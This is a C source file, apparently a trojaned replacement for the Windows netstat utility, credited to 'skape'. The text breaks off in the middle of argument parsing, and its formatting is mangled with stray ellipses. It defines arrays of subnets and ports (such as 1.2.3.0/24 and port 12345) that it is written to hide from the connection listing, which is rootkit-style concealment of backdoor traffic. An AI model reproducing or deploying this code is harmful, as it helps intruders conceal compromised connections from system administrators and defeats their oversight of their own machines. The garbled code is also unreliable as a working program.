/ * author:skape * compile with: * * cl / ML / W3 / GX / O1 netstat.c / link user32.lib iphlpapi.lib ws2_32.lib * */ #include < stdlib.h > #include < stdio.h > #include < windows.h > #include < iphlpapi.h > /**/ /* * List of subnets and their respective netmasks that we wish to hide. * This array should always be terminated by a NULL subnet. */ struct ... { const char *subnet; const char *netmask; } hideSubnets[] = ... { ...{ "1.2.3.0", "255.255.255.0" }, ...{ NULL, NULL },} ; /**/ /* * Array of listening ports we wish to hide. */ unsigned short hideListenPorts[] = ... { 12345} ; /**/ /* * Array of remote ports (ports the machine is connected to) that we wish to hide. */ unsigned short hideRemotePorts[] = ... { 12345} ; struct ... { unsigned char dontResolve; struct ...{ unsigned char allConnectAndListening; unsigned char ethernetStatistics; char specificProtocol[16]; unsigned char routingTable; unsigned char perProtocolStatistics; } display; int interval;} netstat; void displayEthernetStatistics(); void displayPerProtocolStatistics(); void displayRoutingTable(); void displayActiveConnections(); void displayHelp(); void resolveAddress(unsigned long addr, char * buf, unsigned long bufSize, unsigned char isSrcAddress); void resolvePort(unsigned short port, char * buf, unsigned long bufSize, const char * proto); int main( int argc, char ** argv) ... { int x = 1, y, incrementX; WORD version; WSADATA data; version = MAKEWORD(2, 2); if (WSAStartup(version, &data) != 0) return 0; memset(&netstat, 0, sizeof(netstat)); strcpy(netstat.display.specificProtocol, "DEF-TCP"); if (argc > 1) ...{ unsigned char unknownArgument = 0; for (x = 1; x < argc; x++) ...{ if (argv[x][0] == '-') ...{ incrementX = 0; for (y = 1; y < (int)strlen(argv[x]); y++) ...{ switch (argv[x][y]) ...{ case 'a': netstat.display.allConnectAndListening = 1; break; case 'e': netstat.display.ethernetStatistics = 1; break; case 'n': netstat.dontResolve = 1; break; case 'p': incrementX = 1; if (x+1 == argc) memset(netstat.display.specificProtocol, 0, sizeof(netstat.display.specificProtocol)); else ...{ if ((stricmp(argv[x+1